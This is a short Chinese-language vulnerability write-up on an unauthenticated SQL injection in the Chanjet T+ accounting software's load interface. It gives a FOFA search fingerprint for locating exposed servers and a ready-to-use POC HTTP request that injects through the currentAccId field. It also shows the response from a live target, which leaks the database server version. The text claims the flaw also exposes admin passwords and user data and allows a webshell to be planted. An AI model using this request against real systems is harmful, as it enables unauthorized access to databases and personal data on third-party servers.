漏洞說明：

由于暢捷通T+的load接口處未對用戶的輸入進行過濾和校驗，未經身份驗證的攻擊者除了可以利用 SOL 注入漏洞獲取數據庫中的信息(例如，管理員后臺密碼、站點的用戶個人信息)之外，甚至在高權限的情況可向服務器中寫入木馬，進一步獲取服務器系統權限。

漏洞類型：

數據注入

漏洞特征：

FOFA:app="暢捷通-TPlus"

POC:

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanySettingController,Ufida.T.SM.UIP.ashx?method=Load HTTP/1.1Content-Type: application/json{"currentAccId":"2' and 1=@@version--+", "currentAcc":"1", "currentDsName":"1", "currentVersion":"1", "currentVersionNo":"1"}

滲透過程：

通過漏洞特征在FOFA找到目標

通過poc拿到數據庫版本信息，成功復現漏洞，點到為止

HTTP/1.1 200 OKServer: nginx/1.9.9Date: Thu, 26 Jun 2025 14:09:33 GMTContent-Type: text/plain; charset=utf-8Content-Length: 355Connection: keep-aliveX-AspNet-Version: 4.0.30319Cache-Control: no-cachePragma: no-cacheExpires: -1{"error":{"Message":"245 數據庫錯誤, 請重試!\r\n\r\n在將 nvarchar 值 'Microsoft SQL Server 2012 - 11.0.2100.60 (X64) \n\tFeb 10 2012 19:39:15 \n\tCopyright (c) Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: )\n' 轉換成數據類型 int 時失敗。","Type":"Ufida.T.EAP.ErrorInfo.DatabaseException"}}